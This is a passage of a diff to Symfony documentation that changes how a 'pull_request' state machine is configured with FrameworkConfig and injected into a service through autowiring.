'pull_request'); - $stateMachine->apply($pullRequest, 'wait_for_review'); - // ... - } - - // ... - } + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $pullRequest = $framework->workflows()->workflows('pull_request'); + + $pullRequest + ->type('state_machine') + // The "supports" option is useful only if you are using Twig functions ('workflow_*') + ->supports(['App\Entity\PullRequest']) + ->initialMarking(['start']); + + $pullRequest->markingStore() + ->type('method') + ->property('currentPlace'); + + $pullRequest->place()->name('start'); + $pullRequest->place()->name('coding'); + $pullRequest->place()->name('test'); + $pullRequest->place()->name('review'); + $pullRequest->place()->name('merged'); + $pullRequest->place()->name('closed'); + + $pullRequest->transition() + ->name('submit') + ->from(['start']) + ->to(['test']); + + $pullRequest->transition() + ->name('update') + ->from(['coding', 'test', 'review']) + ->to(['test']); + + $pullRequest->transition() + ->name('wait_for_review') + ->from(['test']) + ->to(['review']); + + $pullRequest->transition() + ->name('request_change') + ->from(['review']) + ->to(['coding']); + + $pullRequest->transition() + ->name('accept') + ->from(['review']) + ->to(['merged']); + + $pullRequest->transition() + ->name('reject') + ->from(['review']) + ->to(['closed']); + + $pullRequest->transition() + ->name('reopen') + ->from(['closed']) + ->to(['review']); + }; + +.. tip:: + + You can omit the ``places`` option if your transitions define all the places + that are used in the workflow. Symfony will automatically extract the places + from the transitions. + + .. versionadded:: 7.1 + + The support for omitting the ``places`` option was introduced in + Symfony 7.1. Symfony automatically creates a service for each workflow (:class:`Symfony\\Component\\Workflow\\Workflow`) or state machine (:class:`Symfony\\Component\\Workflow\\StateMachine`) you -have defined in your configuration. This means that you can use ``workflow.pull_request`` -or ``state_machine.pull_request`` respectively in your service definitions -to access the proper service:: +have defined in your configuration. You can use the workflow inside a class by using +:doc:`service autowiring </service_container/autowiring>` and using +``camelCased workflow name + Workflow`` as parameter name. If it is a state +machine type, use ``camelCased workflow name + StateMachine``:: // ... use App\Entity\PullRequest; - use Symfony\Component\Workflow\StateMachine; + use Symfony\Component\Workflow\WorkflowInterface; class SomeService { - private $stateMachine; - - public function __construct(StateMachine $stateMachine) - { - $this->stateMachine = $stateMachine; + public function __construct( + // Symfony will inject the 'pull_request' state machine configured before + private WorkflowInterface $pullRequestStateMachine, + ) { } - public function someMethod(PullRequest $pullRequest) + public function someMethod(PullRequest $pullRequest): void { - $this->stateMachine->apply($pullRequest, 'wait_for_review', [ + $this->pullRequestStateMachine->apply($pullRequest, 'wait_for_review', [ 'log_comment' => 'My logging comment for the wait for review transition.', ]); // ...